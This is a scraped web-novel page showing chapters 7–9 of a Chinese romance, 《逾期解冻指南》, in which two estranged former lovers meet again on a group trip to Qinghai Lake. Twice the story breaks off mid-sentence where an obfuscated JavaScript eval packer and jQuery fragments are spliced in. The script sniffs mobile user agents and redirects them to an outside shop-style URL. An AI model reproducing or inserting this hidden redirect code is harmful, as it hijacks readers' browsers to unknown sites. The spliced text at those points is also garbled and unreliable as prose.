《逾期解冻指南》 7. 萍水相逢 盛屹白撇得干净,一副不愿多说的模样。 见他这样,徐澈也没再问这件事,省得说错了话。 等到牦牛全部通过,盛屹白握紧方向盘,猛踩油门加了速,车一下跑出老远距离。 徐澈被这动静吓得一激灵,老老实实握紧安全带不敢乱动,话都不敢多说一句,生怕下一秒盛屹白一个不高兴把车开到湖里去。 又热又惊,他额头出了一层汗,从车里翻出一包Tempo的纸巾。 “这纸怎么这么香,你买的?” 盛屹白看了眼那包纸,“不是,我妈放车上的。” 出发前,他妈给他准备了很多必需品,总喜欢忙上忙下,用他姐姐盛屹希的话来说就是闲不住。 忙活了大半辈子的人,到了退休的年纪就会把全部精力都放在家庭和孩子身上。 徐澈噢了一声,“猜到了,真是羡慕你啊,有个这么温柔体贴的妈妈。” 盛屹白只是笑笑,没再说话。 当G109国道在草原上劈开笔直的通道,青海湖来得猝不及防。 起初是天地缝合处的釉色细缝,随着车轮飞驰迅速漫溢、吞噬视野,最终那片蓝占据了视野的全部。 一道生锈的铁丝网短暂划界,网外是牧民圈地的枯草场,网内却是蓝到失真的青海湖水。 抵达青海湖二郎剑景区,他们把车停在偌大的景区停车场,午后的阳光慷慨,将沥青地面蒸腾出隐约热浪。 一下车,高原特有的、带点清冽草香的空气瞬间涌入鼻腔,阳光毫无遮拦打在脸上,炙热感强烈。 靳越寒戴好遮阳帽和墨镜,跟着路柯往售票处走。盛屹白和徐澈比他们先到,早早就在售票处等着。 他们一人买了一张门票,穿过入口处的闸机,一条宽敞笔直的步道直通那片蔚蓝的海域。 盛屹白走在前面,问他们:“要走着去,还是坐观光车?” 徐澈提议:“都坐一路车了,走走呗。” 路柯说自己都可以。 靳越寒也点头说可以,目光落在盛屹白身上,听见他说了句行。 走着走着,路柯注意到靳越寒的帽子太小,脖子被太阳晒着,问靳越寒要不要跟他换个帽子戴。 “没关系,不用换。” “还是换吧,你这么白被晒黑了怪可惜的。” 说着路柯就把帽子摘下来,当着大家的面跟靳越寒换了个帽子。 徐澈在一旁笑了,“你俩关系还怪好的。” 他看见盛屹白那帽子也没自己的大,就问:“要不要我的也给你戴?” 盛屹白滑下墨镜,一副看傻子的眼神看着他。 徐澈读懂了他的意思,这是在问候他的身体,关心他是不是有病。 他哈哈笑了几声,招呼着大家往前走。 道路两旁是广袤的草场,牧草染上大片金棕和暖黄,去往诗歌广场的路上,来来往往皆是匆匆喜色的旅人。 靳越寒跟在盛屹白身后,踩着那道影子往前走,盛屹白每停一下他也跟着停,他换方向自己也跟着换。 他像个人形挂件,悄无声息挂在自己想要跟的人身上。 直到快要走到码头位置,盛屹白突然转过身,问他:“你跟着我干什么?” 靳越寒呼吸一滞,忙解释说自己没有,“大家都是走这条路的。” 盛屹白没说话,歪了下头,就这么盯着靳越寒,还有他那顶帽子。 确实比较大,刚好遮住所有阳光。 靳越寒后撤一小步,往左右看时,身边哪还有路柯和徐澈的影子,那俩人早已跑到了前面的观景台。 而面前的盛屹白冷着一张脸,看起来并不喜欢被跟着。 靳越寒局促地把手攥在一起,抿紧嘴唇,额头不知道是热还是紧张,出了一层薄汗。 这些举动落在盛屹白眼里,让他喉间一紧,原本想说的重话也拐了个弯。 “去找路柯,你不是跟他关系好吗,别跟着我。” “……我找不到他在哪,人太多了。” 说着靳越寒仰起头往前面看,确实没找到路柯的身影。 两个人互相看了一会儿,最后盛屹白什么也没说,自顾自继续往前走。 靳越寒站在原地,踌躇着要不要跟上去。 刚才盛屹白说别跟着他,语气冷冰冰的,他现在不喜欢自己跟着了。 意识到自己现在的行为极其不合适,甚至会让盛屹白感到厌烦,于是靳越寒忍住想要追上去的冲动,保持着距离,不要靠近盛屹白。 可一个人走往观景台的路上,不管是纯粹钴蓝到令人心颤的湖水,还是低空盘旋发出鸣叫的鸥鸟,靳越寒都提不起兴致了。 他的注意力从来没有从盛屹白身上移开过。 所以,当盛屹白再次出现在他面前时,他才惊觉,原来青海湖这么美。 那片浩瀚无垠的蔚蓝,就这样毫无保留地、震撼地呈现在了他的眼前。 湖的尽头与天空浑然一体,那抹深邃的靛蓝,向上无限延伸,与同样纯净无暇的钴蓝天幕无缝交融。 水天一色不再是一个形容词,而是眼前活生生的现实,是一种令人眩晕的、失去方向感的辽阔。 下午两点的阳光毫无保留倾泻在湖面上,万点碎金形成一条耀眼光路,从水天相接处一直铺展到脚下。 湖水清澈得不可思议,近岸处就能看到水底圆润的鹅卵石和水草摇曳的暗影。风推着波浪,一层层涌向岸边,成群的鸥鸟盘旋在观景台上,等待着旅人的投喂。 这里的空气是清透而冰冷的,阳光的热度与风的冷冽形成奇妙对比。 天空蓝得醉人,湖水蓝得深邃,金黄的草场铺展延伸,五彩的经幡在风中舞动…… 站定的那一刻,靳越寒望着面前不远处的盛屹白,突然惊讶人生怎么可以这样美好。 能和盛屹白一起在这里,共同见证这场惊心动魄的蓝,竟觉得那么满足。 这就是段暄说的那种治愈吗? 他感到一阵短暂的、前所未有的悸动,想要留下什么的冲动。 “靳越寒。” 盛屹白隔着几个人喊了他的名字,站在前面像是等着他。 害怕他真的走了,靳越寒踮起脚挥手回应,匆忙穿过人群挤到盛屹白面前。 “我、我以为你先走了……” 盛屹白手插着兜,半张脸被阳光照着,反问道:“我先走了又怎样?” 靳越寒被这话噎了下,一时答不上来。 没等他回应,盛屹白已经迈步往前面走了,影子被太阳光拉长,斜斜地落在草地上。 靳越寒安静地跟在他身边,不说一句话,像曾经无数个一起走过的岁月一样。 只要盛屹白没冷着脸让他走,那就可以跟。 他们心照不宣的像以前那样,并肩走过观景台,偶尔停下驻足片刻。 突然盛屹白转过头,提醒他:“别靠这么近。” 靳越寒心道明明隔了半米距离,哪里算近。他垂着脑袋往旁边挪了一步,又很快仰着脸问:“这样呢?” “可以。” 找好合适的位置,靳越寒却没再像周围其他游客一样继续看湖看景。他的目光尽数落在盛屹白身上,不知不觉看走了神。 察觉到他的目光,盛屹白摘下墨镜,眼睛微眯,问他:“看够了没?” 靳越寒这才觉得不好意思,把头低下。 他们站在观景台中间,不断有挤上前拍照的人,加上他们中间的空隙偏大,靳越寒少不了被人撞到。 一来二去的,他们被挤得越来越近。 靳越寒一副“我也很无奈我也没办法”的表情看着盛屹白,希望他可以体谅一下这个人潮汹涌的景区。 模糊间他像是看见盛屹白笑了,嘴角刚刚弯起,又很快变回一条平直的线。 靳越寒眨眨眼,以为自己看错了,毕竟这里的阳光太过耀眼明媚。 想起出发前徐澈说的话,他犹豫好一会儿才开口问:“徐澈说你来过这里很多次,是……因为我吗?” 他以为盛屹白还记得当年那个约定。 “不是。”身旁的人就这样否认了。 靳越寒慌了神,指尖攥紧,比想象中更紧张:“那是不是像他说的那样,真的有什么想见的人……” 除了他之外,其他想见的人。 盛屹白侧过脸,眉头微蹙:“跟你有关系吗?” 靳越寒这下更慌乱了,“我只是喜欢来这里旅游而已,无关任何人,下次说不定就会去别的地方。” 盛屹白整个人都很冷静,不慌不忙反问他:“你很在乎我为什么来这?” 靳越寒眼角泛红,声音低哑地承认:“我在乎,非常在乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484818|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我……一直记得当初那个约定。” 盛屹白的姐姐盛屹希,在大学毕业那年来了场毕业旅行,跨越大半个中国去了一趟西北,又一路往南走。 当时的他们还在一起,靳越寒看着盛屹希发来的旅游视频,随口说了句:“我们也去趟西北吧,离家也不算太远。” 那天盛屹白只是嗯了一声,不知道有没有听进去。 靳越寒却在后来发现了他偷偷存的一笔钱,计划着期末周结束他们一起去西北旅游。 他们说好要一起去,可还没等到学校放假,他们就已经先分隔两地了。 不管过去多少年,靳越寒始终认为这是个遗憾,所以现在才会这么在乎盛屹白为什么来这里。 湖边的风骤然变冷,化作刀刃一寸寸割在他们身上,可这尖锐的痛感,竟成了现在唯一的知觉。 靳越寒不知道自己站了多久,手已经冻得没了知觉,只听见盛屹白说:“没必要,这样就不对了。” 盛屹白嘴角扯出一抹苦笑,像是在问靳越寒,又更像是在问自己。 “你觉得,我们还有重新开始的可能吗?” 靳越寒喉间泛起一阵苦涩,他不知道,八年前没有,现在就会有吗。 盛屹白的话又狠又决绝:“靳越寒,我们只当现在是萍水相逢,就这么过去吧。” “萍水相逢么……” 靳越寒有些难以置信,心里像扎了根刺,疼到无法呼吸。 他实在做不到萍水相逢,可又清楚的知道他们不可能重新开始。 他没有忘记当年的事,没有忘记他们到底是因为什么而分开,他现在甚至不敢问起盛屹白的家人。 重新开始这件事,不存在于他们之间。 盛屹白说的没错,他这样确实不对,不应该因为一时的重逢上头就得意忘形了。 靳越寒抬手往脸上胡乱擦了下,声音哽咽:“你放心,我不会越界,我知道我们早就没可能了,不会再像今天这样了……” 他尽力收住自己的眼泪,可委屈和伤心啊,还是不停地往外冒。 呼啸的风声里,他像是听见盛屹白叫了他,又被一道更大的喊声盖过。 “靳越寒!你们怎么还在这!” 路柯的声音由远及近,一路飘到靳越寒面前。 他见靳越寒低着头,忙问道:“怎么了,不说话?” 靳越寒摇头说没事,“这里风太大了,睁不开眼。” 徐澈跟在后面走来,“是啊,刚才还觉得太阳晒,怎么一下就那么冷了。” 他往手臂上狠狠搓了下,挤到盛屹白面前,“两个人在这聊什么呢,喊半天了都听不见。” 盛屹白说:“人太多了,没听见。” 越到下午人越多,大多数人都是奔着日落而来。 路柯和徐澈拍够了素材,就说换个人少的地方玩,徐澈说:“你们两个跟紧点,别又找不着人。” 沿着栈道一直走到码头,可以买船票去半岛,登岛景色更佳。 盛屹白走在前面,问他们要不要坐船。 路柯和徐澈纷纷摇头说不要,“晕船,年纪大了,身体遭不住。” 知道靳越寒也晕船,他本来没想问,却还是多余问了句:“你呢?” 靳越寒耷拉着嘴角,说了一个字:“晕。” 说完看也不看他一眼,低着脑袋去看路柯相机里的照片。 盛屹白愣了愣,似乎记忆里,靳越寒一直都是这样,不高兴了就只说一个字。 他收回目光,带着他们经过卧佛和白塔,到了一个水上游乐设施很多的地方。 穿过花廊,那边有个观景台,不同于刚才的是,这里有了浅露的沙滩,泡沫桥上还可以打卡。 这一路走来,靳越寒都没再跟着盛屹白,两个人的距离是四个人中最远的。偶尔盛屹白停下来回头看时,会发现靳越寒一个人走在后面没有跟上来。 昨天到现在,靳越寒总一副游离在外的样子,比起不合群,他更像是自己把自己封闭起来,沉默寡言,不爱说话。 虽然以前的靳越寒也很内敛,但比现在要开朗,不会像现在,那么的不安和迷茫。 盛屹白慢慢停下来,冲着满眼都是沙滩的徐澈和路柯说:“你们先过去吧。” 他的目光落在后面的人身上。 “我在这,等一会儿。” 8. 嘴硬心软 靳越寒的手机一路震个没停,他停在阴凉处,看清是姑姑打来的电话。 对方像是不知疲倦,一个接着一个。 靳越寒感到一阵心累,麻木地接起了电话。 靳霜的声音带点急切,又有点歉意:“小寒,打扰到你了吗?你一直不接电话,我以为出什么事了。” “没有,怎么了?”靳越寒背过身摸起一片树叶。 “我看见你房间的药还在,是不是没带?这样不吃药会不会有什么影响?” 靳越寒稍不留心把叶子摘了下来,握在手里,说不会,他已经不用吃药了。 或者说他已经很长一段时间没有吃药了,他那么想要好起来当一个正常人,只有姑姑还觉得他有病。 电话那头沉默着,靳越寒正准备挂电话,身后突然响起一道熟悉的声音。 “靳越寒,你怎么不……” 靳越寒呼吸一滞,急忙转过身指着自己的手机,盛屹白才收声,没上前。 “这个声音怎么……” 靳霜的语气比起简单的询问,更像是质问:“你现在跟谁在一起?到哪了?刚才叫你的人是谁?我怎么听声音这么耳熟?” 手里的叶子已经被捏碎,靳越寒解释的话还没来得及说出口,靳霜的话让他后背一凉。 “是不是盛屹白?” 这三个字从靳霜口中说出,一瞬间,靳越寒仿佛被寒冷所笼罩,整个人不自觉发着抖。 “不、不是。” 他的声线抖动,又重复了一遍:“不是他……” “不是他?”靳霜像是不信,“可我怎么好像听到了他的声音,刚刚叫你的人是谁?你现在到底跟谁在一起?” 靳越寒不知怎么脑子越来越晕,他尽力让自己保持冷静,解释:“是和我同行的人,可能声音像,总之不是他。” 靳霜的疑心病太重,她不相信靳越寒说的,更相信自己的判断,那么多年,她不可能听错盛屹白的声音。 她声音逐渐变得尖锐,一遍遍质问:“你跟姑姑说实话,你去西北是不是去见盛屹白的!你们是不是还有联系!那么多年,你怎么就……” 离得太近,靳越寒突然一阵耳鸣,脑子嗡嗡响,所有的解释都显得苍白无力。 短短几秒内他的脑子像疯狂搅动的机器,持续不断发出故障的呜鸣声。他没听清靳霜还说了什么,匆忙挂掉电话后,才发现自己手心全是冷汗。 浑身止不住的颤抖,是冷,还是怕。 要是姑姑发现他现在和盛屹白在一起,他不敢想会怎么样。 是会像疯了一样质问他,你们怎么又在一起,还是像曾经那样,不顾一切也要把他送走。 靳越寒摇摇头,整个世界在他眼前剧烈地摇晃、倾斜,浑身像被抽干了力气难以站稳。 他尽力睁开眼,恍惚间看见一个人影朝自己奔来,扶住了他。 盛屹白一遍遍喊他的名字,“靳越寒!靳越寒!你怎么了?” “盛屹白……” 靳越寒有过一瞬间的错觉,以为面前的盛屹白又是幻觉,但那人回应了他。 “我在。” 盛屹白一向冷静的脸色慌张起来,“你是不是不舒服?” 靳越寒唇色惨白:“嗯……我不舒服。” 盛屹白抓紧他的手,发现他手指冰凉,浑身都在发抖。 “还能走吗?” 靳越寒摇头,很快盛屹白弯下身子,让他上来,背着他到了码头休息区坐着。 确认靳越寒的呼吸正常,不是缺氧症状后,盛屹白很快猜测他可能是低血糖。高中时靳越寒经常忘记吃早饭犯低血糖,症状比现在还严重。 附近有便利店,盛屹白弯下身子,叮嘱他:“你在这等我,我很快回来。” 靳越寒呆呆点头,不知道有没有听进去。 盛屹白跑到便利店,拿了一罐可乐、一瓶水和两包糖,结账时往回看了好几眼,确认靳越寒还在原位后又急忙往回赶。 喝下半罐可乐又含了几颗糖,几分钟后靳越寒的症状缓解了不少,思绪开始回笼,身体渐渐回温。 “现在怎么样?”盛屹白问。 靳越寒:“好多了,就是……” “什么?” “太甜了,牙有点疼。” 靳越寒已经好多年不吃糖了,更何况是这几颗甜度极高的水果糖,甜得牙根发软。 盛屹白像是一早就知道,顺手拧开瓶盖把刚才买的水递给他,“喝点。” 靳越寒连眨了好几下眼,感到很意外,说了声谢谢,接过水小口喝了起来。 喝完水,他偷偷瞟了几眼坐在身旁的盛屹白。仔细观察能发现他额头有汗,刚才眼神里还满是对自己的担忧。 是替他着急了吗。 刚才脑子不清醒忽略了很多细节,但靳越寒清楚的记得,盛屹白的手很温暖。 “还有没有哪不舒服?”盛屹白问。 “没有了。” 靳越寒的视线落在盛屹白垂在两条大长腿中间的手上,他的手指骨节分明,指腹隐隐有些粗砺,手掌宽大又温暖。 好想再摸一次。 突然盛屹白起身,说:“你在这休息一下,我去联系路柯他们过来。” “嗯?”靳越寒很快回过神来,急忙应了声好,看着盛屹白的背影好一会儿才收回目光。 几分钟后,靳越寒看见群聊上多了条信息。 盛屹白让他们俩快点过来,还拍了张周边的照片。 【路柯:收到】 【徐澈:快撤回!搞得跟工作群一样,看到这两个字我真要晕了TAT】 路柯撤回了那条消息,发了个大笑的表情,还@靳越寒:等着,我们马上回来。 没一会儿,界面显示,路柯把原来的群名改成了四个emoji。 分别是雪花,白云,小鹿,赛车。 刚开始靳越寒还没明白是什么意思,明白过来后,他不自觉笑了笑,嘴角还没来得及收,抬起脸就看见盛屹白站在了他面前。 这个笑容不算灿烂,却别样可爱,嘴角扬起小小的弧度,脸颊恰到好处的肉,以及靳越寒那双清亮乌黑的眼睛。 当光芒来临,迷雾散去,他的眼睛原来可以装下这么多东西。 除了来不及收敛的笑意,此刻还有数不清的、对盛屹白无法藏匿的眷恋和爱意。 被看的人心头一颤,一时间忘了自己要做什么,傻傻站在原地。 回过神后,盛屹白轻咳了一声,假装无事发生坐在一旁。 “他们大概五分钟后过来。” “好。” 靳越寒收回目光,静静坐着。 “你现在想不想吃点什么,晚饭估计没这么快。” 过了好一会儿没听见回答,盛屹白侧过身,没想到靳越寒就这么直直地看着他。 “你很关心我。” 不是疑问句,而是陈述句,在陈述一个事实。 盛屹白:“……” 不知道靳越寒哪得出来的结论,盛屹白微微侧脸,等着他说。 “要是不关心我,就不会那么着急去给我买糖,也不会急的……”靳越寒越说越小声,悄悄看了眼盛屹白额前已经干了的碎发。 “还有,刚刚问我想吃什么。” 他的声音不大,语气也没有咄咄逼人的态势,但一字一句都像是铁证如山,让人没有反驳的余地。 盛屹白低了下头,嘴角扯出一个无奈的笑,“那我总不能见死不救吧。” “什么见死不救……”靳越寒小声嘟囔了句:“承认关心没这么难。” “你说什么?” “没什么。” 靳越寒把头撇开,装作自己很忙的样子捣鼓手机。 盛屹白这个人就是嘴硬心软,从小就这样,他都知道。小时候还说过不喜欢跟他玩,但每天放学都会在校门口等着他一起回家。 盛屹白现在就是很关心他。 可为什么又要说那些伤人的话,什么萍水相逢,就这么过去吧,一点机会都不给他。 把他推的好远,好远。 靳越寒垂着脑袋,发现自己其实一点都不了解盛屹白,不了解现在的盛屹白。 路柯和徐澈过来时,盛屹白已经站起身,大致说了下靳越寒的情况。 “低血糖?”路柯见靳越寒脸色不太好,“也是,中午面都没吃多少,又走了这么久的路。” 徐澈把手放在靳越寒面前晃了晃,“现在还晕不?” 靳越寒摇头:“不晕,已经没事了。” “那可说不准,找找附近有什么医院卫生站之类的,带你去看看吧。” “不用,太麻烦了,我真的已经没事了。” 他本来想说自己以前经常这样,不是什么大事,看了眼盛屹白,又什么都没说出口。 听到他不想去医院,路柯干脆道:“那我们就不玩了,先找地方吃饭休息吧。” 靳越寒急忙道:“不是还有日落,日落还没看。” 来的路上,路柯一直说想看看青海湖的日落。 路柯笑着说没事,以后还有机会,吃饭要紧。 徐澈:“是啊,日落以后有的是机会看,明天我们不是要去茶卡盐湖吗,那里的黄昏也很好看。” 他问盛屹白:“是吧,茶卡盐湖不比这差?” 盛屹白轻点头,“各有特色吧。” 茶卡盐湖的湖面像镜子一般倒映着天空,行走其中,每一步都像踩在云朵之上,如梦似幻,因此被称作“天空之镜”。 但只有天气好的时候好看,遇到坏天气只能另当别论了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16484819|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们一边说着在网上看到的茶卡盐湖有多美,一边又在讨论等下去哪吃饭。 今晚住的酒店还没订,靳越寒本想说他来定,毕竟来之前他做了一大堆攻略。 盛屹白勾勾手,拿过靳越寒的手机看了眼他原本要订的酒店,采光不好,环境一般,说不行。 “啊?”靳越寒默默接过手机:“那我再看看其他的。” “不用。”盛屹白直接问他:“你想不想住度假客栈,可以看见湖边景色的那种?” 他上次来的时候住过一家,当时就觉得会是靳越寒喜欢的风格。 靳越寒看过酒店的照片后,连连点头说可以。他没想到现在这样的淡季,景区附近的酒店价格比想象中便宜。 比起昨天住的小酒店,他更喜欢这样光线充足,视野开阔的地方。 以前还在榆阳住的时候,他的房间不算小,但采光不好,推开窗户外面就是一棵大香樟树,完完全全挡住了后面的风景。 所以他更喜欢去盛屹白的房间待着,可以看见附近的溪湖、晚霞、甚至是第二天的日出。 “怎么不问问我们,我们也要住的。” 徐澈控诉盛屹白,盯向盛屹白的眼神像是写着“被我抓到了”这几个字,隐隐透露着一丝玩味和猜测。 盛屹白大大方方把手机扔给他看,“挑一间吧。” 徐澈和路柯精挑细选一番,最后选了两间高级双人房。订好了今晚住的地方,徐澈又找了家牦牛肉火锅店,问他们行不行。 这家青海藏式牦牛肉火锅离住的酒店不远,又是附近具有浓郁藏族文化氛围和地域特色的一家店,评分较高,所以大家一致举手表决通过。 因为自己身体不舒服而耽误了大家游玩的时间,靳越寒越想越觉得不好意思。 他提议说:“今晚我请吃饭吧,不然……总觉得过意不去。” 大家反应过来他是哪里过意不去后,路柯让他别这样。 “一起旅游本来就应该互相体谅,更何况谁都有状态不佳的时候,你这样的话,下次谁身体不舒服,岂不是也要请客吃饭了。” “是啊。”徐澈笑得爽朗,“昨天的饭就是你们请客的,今晚又让你请,我跟盛屹白才应该过意不去了。” 是这样吗,靳越寒下意识望向盛屹白,看见他点了点头。 原来是这样。 靳越寒想,自己在人情世故方面还应该多学学,不然总显得笨拙,平白给大家添麻烦。 他站起身,姿势和语气略显正经,和他们说谢谢。 路柯搭着他的肩,“谢什么,都是朋友,应该的。” 徐澈笑了笑,“对啊,大家都是朋友,说什么谢不谢的。” 听到“朋友”这个词,靳越寒目光一顿,胸腔涌起一阵难言的情绪,闷闷的。 这几年里,他以为自己早已经没有朋友了,没想到他们会说大家都是朋友,这个“大家”里面,也包括他。 一瞬间,鼻腔泛起酸涩。 他看向盛屹白,对方只是静静地看着他,原本冷峻的眉眼在此刻变得柔和,比身后静淌的湖水还要温柔。 那这个“大家”里面,也包括盛屹白吗,盛屹白想跟他重新做回朋友吗。 做回朋友的话,那想不想跟他重新在一起。 靳越寒反省自己这样会不会太贪心了,可是他想贪心一点。盛屹白是最好的朋友,更是最好的恋人。 他不愿只做其中一个,他要两个都选。 他要当盛屹白最好的朋友,还要当他唯一的恋人。 这样的念头一旦产生,就如潮水般汹涌,大到靳越寒被吓了一跳,他对盛屹白的欲望竟如此强烈。 这样,对吗? “靳越寒。” 靳越寒回过神,盛屹白站在他面前,“发什么呆,走了。” 徐澈和路柯背着包走在前面,徐澈回头朝他们俩招手,“诶?你们怎么又没跟上,快点来!” 盛屹白应了句来了,转过身问靳越寒能不能走。 “能。” 盛屹白沉默着点头,走在了前面。 他的步子大而稳,并不急促,只是走着。身后投下欣长的影子,宛如一条墨色铺就的路径,一直延伸到靳越寒的脚边。 靳越寒垂着头,视线胶着在地上那道影子上。他的脚步滞涩着,那道影子就离他越来越近,仿佛在特意等待。 迟疑和犹豫横亘在靳越寒心间,不知道要不要走上去。 时间悄然流逝,青海湖面染上了一道金色,他们渐渐远离湖边,而他和盛屹白之间的距离只有几步之遥。 抓住时机,靳越寒一个大步跨上去,和盛屹白并肩着。 身旁的人轻轻侧目,微风吹起他的头发,靳越寒忽而笑了。 光是这样并肩走在一起,就已经很满足了。 9. 旧的合照 离开青海湖前,他们途经一块可以打卡的灰白色巨石,上面用红漆写着:青海湖海拔3196米。 路柯把相机重新打开,提议:“我们在这合张影吧。” “四个人都要上镜,谁来拍?”徐澈问。 “这还不简单。” 靳越寒站在一侧,看着路柯搭讪一位路过的阿姨。不过一会儿的功夫,路柯就跟阿姨聊得喜笑颜开。 阿姨笑得合不拢嘴:“好嘛好嘛,我来给你们拍,这小帅哥,这么会说话。” 路柯教会阿姨怎么摁快门后,走回石头旁时,徐澈冲他抬抬下巴:“我才发现你这长相蛮讨阿姨们喜欢的。” 他又看向靳越寒,“哦对,还有靳越寒,简直是姨的‘杀手’。” 靳越寒属于眉清目秀的长相,五官轮廓柔和,皮肤很白,笑起来眉眼弯弯,一看就是个乖孩子,很讨人喜欢。 被突然点名,靳越寒反应了几秒,声音细微哽咽:“……什么杀手?” “我说你这个长相蛮讨阿姨喜欢的,姨的‘杀手’。像我跟盛屹白肯定就不行,长得严肃了。” 原来是这个,靳越寒摇摇头,说没有。 他属于敏感内敛的性格,不像路柯那样开朗会说话,这几年里习惯了一个人,跟陌生人相处时总是会显得无措。 反倒是盛屹白才是最讨人喜欢的那个,从小到大,因为他学习好又聪明,还很礼貌懂事,经常是被家长、老师、同学所称赞、簇拥、艳羡的对象。 虽然他看起来骄傲冷淡,不太好相处。 除此之外,他还有个幸福美满的家庭。 靳越寒最羡慕、最向往的人,一开始就是盛屹白。 “那两个穿黑色衣服的小帅哥,站近点,阿姨这里要拍不到了。” 听到阿姨的话,靳越寒反应过来说的是自己和盛屹白。只有他和盛屹白穿了黑衣服,而路柯和徐澈一个蓝一个灰。 他刚准备回应,就听见盛屹白先开口应了句好。 紧接着站在取景器外的盛屹白往他这边靠了点,两个人的距离很近,肩膀挨着肩膀。 这张照片里,他和盛屹白站在石头的右侧,前面是枯黄的草地,背后是碧蓝的湖水和连绵的雪山。 照片里的他们模样与八年前没有太大区别,只是更成熟了些。 好像什么都没变,但其实已经,各自走过了截然不同的人生轨迹。 合完影回到车内,靳越寒吸了会儿氧,脑子里忽而想起他和盛屹白在一起时的最后一张合照。 那是大一那年的初夏,盛屹白来他的社团活动帮忙,代替他穿上笨拙厚重的玩偶服。 活动结束后,朋友帮他们拍照。摘下头套时盛屹白的脸已经热红,额角被汗水打湿,却还是要紧紧贴着靳越寒。 十九岁,照片里的他们笑得那样甜蜜幸福,可偏偏在他们分开很久后,身处异地时才收到那张照片。 那张照片现在在哪里,靳越寒怎么也想不起来。不知道是时间太久忘记了,还是因为生病造成的记忆缺失。 曾经的记忆,他总有记不清的。越拼命想起,就越是容易忘记。 等到他记起时,他们已经到了吃饭的地方。 高原的天色还未晚,远处的天空飘着暗红色的晚霞。推开火锅店那扇绘着吉祥八宝图案的木门,一股汹涌的热浪裹挟着浓烈的肉香扑面而来。 店内并不算特别明亮,几盏暖黄的酥油灯悬在梁上,光线柔和地铺洒开来。 他们被引到一张靠窗的木桌旁落座,靳越寒最后一个坐下,只留有盛屹白对面的位置。 桌面中央摆着一口巨大的黄铜锅,锅底是翻涌的浓郁褐色的汤,表面漂浮着几颗红枣和枸杞,以及一些葱段姜片。 靳越寒垂着脑袋出神,耳边是他们插科打诨的话。他就这样安静地坐着,直到一双手伸到了自己面前。 盛屹白端来一碗原汤放到他面前,厚实的木碗盛着,汤色深沉如琥珀,表面浮着一点点金色的油星。 靳越寒双手接过,说了声谢谢,声音有些沙哑。 盛屹白另外盛了两碗汤给徐澈还有路柯,这种原汤不仅鲜香,还加入了一些高原药材,喝完身体都暖了起来。 徐澈喝完汤,转而对盛屹白说:“想念程阿姨做的汤了。” 以往工作忙,遇上节假日回不了家,徐澈都会跟着去盛屹白家住两天。这个时候盛屹白的妈妈就会做很多菜和汤,味道比外面的饭店好吃不知道多少倍。 靳越寒握碗的手一抖,听着盛屹白说:“她这几天跟我姐去外面旅游了,没说具体什么时候回。” “啊?”徐澈一脸惋惜:“那到时候我们回去,她们应该就回来了吧?” 盛屹白摇头,“不确定。” 靳越寒埋头喝着汤,动作有些僵硬。他也想念程阿姨做的汤,想念屹希姐,更想念那段回不去的日子。 她们会想见到他吗,靳越寒不知道,也许不想,就像他姑姑不想看到盛屹白一样。 他们两家人,谁也看谁不顺眼。 很快,服务员端着一个硕大的木质托盘走来,里面堆叠着切成厚片的肉块和带骨的肋排。 还没下锅,几个人就已经咽了咽口水,盯紧那些肉下锅。 服务员是个藏族小伙子,普通话还算流利,一边熟练地把肉下锅,一边抽空和他们聊了几句。 “你们这个旅游团,卡颜吗?” 大家都愣了会儿,盛屹白眉头微挑,问他:“什么意思?” 小伙子笑容淳朴,“没什么,就是看你们长得帅嘛,刚一进来还以为是艺人,可把我们吓了一跳。” 等人下完肉走了,徐澈终于忍不住,趴在桌子上大笑起来。也许是感染力太强,大家都跟着笑了起来。 靳越寒本来没想笑,后面没忍住,跟着抿起嘴笑,筷子在盘子里轻轻滑动着。他连笑容都很含蓄,不像其他人那样放声大笑。 路柯瞧见了,让他别憋着,想笑就笑。 靳越寒笑着摇头,眉眼弯弯,说自己没有。 他的余光瞥见对面的盛屹白,开始恍惚,现在到底是今夕何夕。 盛屹白这样的人,不笑时感觉很清冷,但笑起来充满阳光少年气,暖黄的灯光打在他的左脸上,平白生出一丝温柔。 特别是当他那双无比深情的眼睛看过来时,靳越寒手一松,筷子跌落,像是砸在了他的心间。 他很快把筷子捡起,重新拿了双干净的,假装什么也没发生。 吃到一半时,每个人的脸颊都在炭火和热汤的熏蒸中泛起了红晕,额头沁出细密的汗珠。大家顾不上太多言语,连汗都来不及擦,只一个劲的夹肉吃。 吃饱喝足后,准备结账时,徐澈说:“谁先付,回去群里转账A给他。” 靳越寒离收银台最近,起身说:“我先付吧。” 说完他掏出钱包里的卡,往收银台走去。 靳越寒一走,徐澈赶忙问盛屹白:“靳越寒是不是富二代?” “?” “他刚才那钱包我没看错的话,好像挺贵的吧,当时咱部门那谁不就是个小富二代吗,钱包就跟靳越寒那个一样。” 盛屹白没说话。靳越寒不是富二代,是富三代,他记得靳越寒的爷爷很有钱,他的姑姑姑父都是做生意的。 “不知道。”盛屹白淡淡道。 徐澈纳闷了,“你怎么又不知道,你们不是发小吗?” 听到“发小”,路柯满脸惊讶:“发小?!” 徐澈昂了一声,指着盛屹白:“他说的。” 路柯一时间看盛屹白的眼神复杂起来,他只听靳越寒说两个人以前是朋友,不知道是发小啊。 难怪靳越寒一脸落寞忧伤,难怪靳越寒看起来那么在意盛屹白,原来因为他们是发小的关系。 他就知道,两个人的关系没那么简单。 